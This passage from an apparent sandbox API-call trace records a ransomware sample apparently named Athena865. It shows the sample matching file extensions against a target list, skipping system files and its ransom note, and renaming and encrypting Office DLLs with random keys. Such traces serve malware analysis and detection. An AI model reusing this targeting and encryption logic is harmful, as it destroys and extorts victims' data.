(lpString1="DLL", lpString2="mas") returned -1 [0094.046] lstrlenW (lpString="mav") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0094.046] lstrlenW (lpString="maw") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0094.046] lstrlenW (lpString="mdbhtml") returned 7 [0094.046] lstrcmpiW (lpString1="ZAX.DLL", lpString2="mdbhtml") returned 1 [0094.046] lstrlenW (lpString="mdn") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0094.046] lstrlenW (lpString="mdt") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0094.046] lstrlenW (lpString="mfd") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0094.046] lstrlenW (lpString="mpd") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0094.046] lstrlenW (lpString="mrg") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0094.046] lstrlenW (lpString="mud") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0094.046] lstrlenW (lpString="mwb") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0094.047] lstrlenW (lpString="myd") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0094.047] lstrlenW (lpString="ndf") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0094.047] lstrlenW (lpString="nnt") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0094.047] lstrlenW (lpString="nrmlib") returned 6 [0094.047] lstrcmpiW (lpString1="AX.DLL", lpString2="nrmlib") returned -1 [0094.047] lstrlenW (lpString="ns2") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0094.047] lstrlenW (lpString="ns3") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0094.047] lstrlenW (lpString="ns4") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0094.047] lstrlenW (lpString="nsf") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0094.047] lstrlenW (lpString="nv") returned 2 [0094.047] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0094.047] lstrlenW (lpString="nv2") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0094.047] lstrlenW (lpString="nwdb") returned 4 [0094.047] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0094.047] lstrlenW (lpString="nyf") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0094.047] lstrlenW (lpString="odb") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.047] lstrlenW (lpString="odb") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.047] lstrlenW (lpString="oqy") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0094.047] lstrlenW (lpString="ora") returned 3 [0094.047] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0094.048] lstrlenW (lpString="orx") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0094.048] lstrlenW (lpString="owc") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0094.048] lstrlenW (lpString="p96") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0094.048] lstrlenW (lpString="p97") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0094.048] lstrlenW (lpString="pan") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0094.048] lstrlenW (lpString="pdb") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0094.048] lstrlenW (lpString="pdm") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0094.048] lstrlenW (lpString="pnz") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0094.048] lstrlenW (lpString="qry") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0094.048] lstrlenW (lpString="qvd") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0094.048] lstrlenW (lpString="rbf") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0094.048] lstrlenW (lpString="rctd") returned 4 [0094.048] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0094.048] lstrlenW (lpString="rod") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0094.048] lstrlenW (lpString="rodx") returned 4 [0094.048] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0094.048] lstrlenW (lpString="rpd") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0094.048] lstrlenW (lpString="rsd") returned 3 [0094.048] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0094.049] lstrlenW (lpString="sas7bdat") returned 8 [0094.049] lstrcmpiW (lpString1="HZAX.DLL", lpString2="sas7bdat") returned -1 [0094.049] lstrlenW (lpString="sbf") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0094.049] lstrlenW (lpString="scx") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0094.049] lstrlenW (lpString="sdb") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0094.049] lstrlenW (lpString="sdc") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0094.049] lstrlenW (lpString="sdf") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0094.049] lstrlenW (lpString="sis") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0094.049] lstrlenW (lpString="spq") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0094.049] lstrlenW (lpString="te") returned 2 [0094.049] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0094.049] lstrlenW (lpString="teacher") returned 7 [0094.049] lstrcmpiW (lpString1="ZAX.DLL", lpString2="teacher") returned 1 [0094.049] lstrlenW (lpString="tmd") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0094.049] lstrlenW (lpString="tps") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0094.049] lstrlenW (lpString="trc") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.049] lstrlenW (lpString="trc") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.049] lstrlenW (lpString="trm") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0094.049] lstrlenW (lpString="udb") returned 3 [0094.049] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0094.050] lstrlenW (lpString="udl") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0094.050] lstrlenW (lpString="usr") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0094.050] lstrlenW (lpString="v12") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0094.050] lstrlenW (lpString="vis") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0094.050] lstrlenW (lpString="vpd") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0094.050] lstrlenW (lpString="vvv") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0094.050] lstrlenW (lpString="wdb") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0094.050] lstrlenW (lpString="wmdb") returned 4 [0094.050] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0094.050] lstrlenW (lpString="wrk") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0094.050] lstrlenW (lpString="xdb") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0094.050] lstrlenW (lpString="xld") returned 3 [0094.050] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0094.050] lstrlenW (lpString="xmlff") returned 5 [0094.050] lstrcmpiW (lpString1="X.DLL", lpString2="xmlff") returned -1 [0094.050] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\AUTHZAX.DLL.Athena865") returned 70 [0094.050] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\authzax.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\AUTHZAX.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\authzax.dll.athena865"), dwFlags=0x1) returned 1 [0094.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\AUTHZAX.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\authzax.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.052] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=54152) returned 1 [0094.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.052] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.053] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.053] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.053] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd690, lpName=0x0) returned 0x17c [0094.055] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd690) returned 0x100000 [0094.060] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.061] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.061] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0094.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0094.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.061] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.062] CloseHandle (hObject=0x17c) returned 1 [0094.062] CloseHandle (hObject=0x154) returned 1 [0094.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67b88000, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x21b02690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67b88000, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xdf80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".") returned 1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="..") returned 1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="windows") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="bootmgr") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="temp") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="pagefile.sys") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="boot") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="ids.txt") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="ntuser.dat") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="perflogs") returned -1 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="MSBuild") returned -1 [0094.063] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0094.063] lstrcpyW (in: lpString1=0x241e8aa, lpString2="BCSLaunch.dll" | out: lpString1="BCSLaunch.dll") returned="BCSLaunch.dll" [0094.063] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0094.063] lstrlenW (lpString="Athena865") returned 9 [0094.063] lstrcmpiW (lpString1="aunch.dll", lpString2="Athena865") returned 1 [0094.063] lstrlenW (lpString=".dll") returned 4 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".dll") returned 1 [0094.063] lstrlenW (lpString=".lnk") returned 4 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".lnk") returned 1 [0094.063] lstrlenW (lpString=".ini") returned 4 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".ini") returned 1 [0094.063] lstrlenW (lpString=".sys") returned 4 [0094.063] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".sys") returned 1 [0094.063] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0094.063] lstrlenW (lpString="bak") returned 3 [0094.063] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0094.064] lstrlenW (lpString="ba_") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0094.064] lstrlenW (lpString="dbb") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0094.064] lstrlenW (lpString="vmdk") returned 4 [0094.064] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0094.064] lstrlenW (lpString="rar") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0094.064] lstrlenW (lpString="zip") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0094.064] lstrlenW (lpString="tgz") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0094.064] lstrlenW (lpString="vbox") returned 4 [0094.064] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0094.064] lstrlenW (lpString="vdi") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0094.064] lstrlenW (lpString="vhd") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0094.064] lstrlenW (lpString="vhdx") returned 4 [0094.064] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0094.064] lstrlenW (lpString="avhd") returned 4 [0094.064] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0094.064] lstrlenW (lpString="db") returned 2 [0094.064] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0094.064] lstrlenW (lpString="db2") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0094.064] lstrlenW (lpString="db3") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0094.064] lstrlenW (lpString="dbf") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0094.064] lstrlenW (lpString="mdf") returned 3 [0094.064] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0094.065] lstrlenW (lpString="mdb") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0094.065] lstrlenW (lpString="sql") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0094.065] lstrlenW (lpString="sqlite") returned 6 [0094.065] lstrcmpiW (lpString1="ch.dll", lpString2="sqlite") returned -1 [0094.065] lstrlenW (lpString="sqlite3") returned 7 [0094.065] lstrcmpiW (lpString1="nch.dll", lpString2="sqlite3") returned -1 [0094.065] lstrlenW (lpString="sqlitedb") returned 8 [0094.065] lstrcmpiW (lpString1="unch.dll", lpString2="sqlitedb") returned 1 [0094.065] lstrlenW (lpString="xml") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0094.065] lstrlenW (lpString="$er") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0094.065] lstrlenW (lpString="4dd") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0094.065] lstrlenW (lpString="4dl") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0094.065] lstrlenW (lpString="^^^") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0094.065] lstrlenW (lpString="abs") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0094.065] lstrlenW (lpString="abx") returned 3 [0094.065] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0094.065] lstrlenW (lpString="accdb") returned 5 [0094.065] lstrcmpiW (lpString1="h.dll", lpString2="accdb") returned 1 [0094.065] lstrlenW (lpString="accdc") returned 5 [0094.065] lstrcmpiW (lpString1="h.dll", lpString2="accdc") returned 1 [0094.065] lstrlenW (lpString="accde") returned 5 [0094.065] lstrcmpiW (lpString1="h.dll", lpString2="accde") returned 1 [0094.065] lstrlenW (lpString="accdr") returned 5 [0094.065] lstrcmpiW (lpString1="h.dll", lpString2="accdr") returned 1 [0094.066] lstrlenW (lpString="accdt") returned 5 [0094.066] lstrcmpiW (lpString1="h.dll", lpString2="accdt") returned 1 [0094.066] lstrlenW (lpString="accdw") returned 5 [0094.066] lstrcmpiW (lpString1="h.dll", lpString2="accdw") returned 1 [0094.066] lstrlenW (lpString="accft") returned 5 [0094.066] lstrcmpiW (lpString1="h.dll", lpString2="accft") returned 1 [0094.066] lstrlenW (lpString="adb") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0094.066] lstrlenW (lpString="adb") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0094.066] lstrlenW (lpString="ade") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0094.066] lstrlenW (lpString="adf") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0094.066] lstrlenW (lpString="adn") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0094.066] lstrlenW (lpString="adp") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0094.066] lstrlenW (lpString="alf") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0094.066] lstrlenW (lpString="ask") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0094.066] lstrlenW (lpString="btr") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0094.066] lstrlenW (lpString="cat") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0094.066] lstrlenW (lpString="cdb") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0094.066] lstrlenW (lpString="ckp") returned 3 [0094.066] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0094.066] lstrlenW (lpString="cma") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0094.067] lstrlenW (lpString="cpd") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0094.067] lstrlenW (lpString="dacpac") returned 6 [0094.067] lstrcmpiW (lpString1="ch.dll", lpString2="dacpac") returned -1 [0094.067] lstrlenW (lpString="dad") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0094.067] lstrlenW (lpString="dadiagrams") returned 10 [0094.067] lstrcmpiW (lpString1="Launch.dll", lpString2="dadiagrams") returned 1 [0094.067] lstrlenW (lpString="daschema") returned 8 [0094.067] lstrcmpiW (lpString1="unch.dll", lpString2="daschema") returned 1 [0094.067] lstrlenW (lpString="db-journal") returned 10 [0094.067] lstrcmpiW (lpString1="Launch.dll", lpString2="db-journal") returned 1 [0094.067] lstrlenW (lpString="db-shm") returned 6 [0094.067] lstrcmpiW (lpString1="ch.dll", lpString2="db-shm") returned -1 [0094.067] lstrlenW (lpString="db-wal") returned 6 [0094.067] lstrcmpiW (lpString1="ch.dll", lpString2="db-wal") returned -1 [0094.067] lstrlenW (lpString="dbc") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0094.067] lstrlenW (lpString="dbs") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0094.067] lstrlenW (lpString="dbt") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0094.067] lstrlenW (lpString="dbv") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0094.067] lstrlenW (lpString="dbx") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0094.067] lstrlenW (lpString="dcb") returned 3 [0094.067] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0094.067] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0094.068] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\BCSLaunch.dll.Athena865") returned 72 [0094.068] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\bcslaunch.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\BCSLaunch.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\bcslaunch.dll.athena865"), dwFlags=0x1) returned 1 [0094.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\BCSLaunch.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\bcslaunch.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.069] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=57216) returned 1 [0094.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.070] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.070] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.070] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.070] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe280, lpName=0x0) returned 0x17c [0094.073] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe280) returned 0x100000 [0094.077] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.078] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.078] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0094.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0094.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.079] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.079] CloseHandle (hObject=0x17c) returned 1 [0094.079] CloseHandle (hObject=0x154) returned 1 [0094.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.080] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8cd1e00, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd2e133c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8cd1e00, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x14768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.080] lstrcmpiW 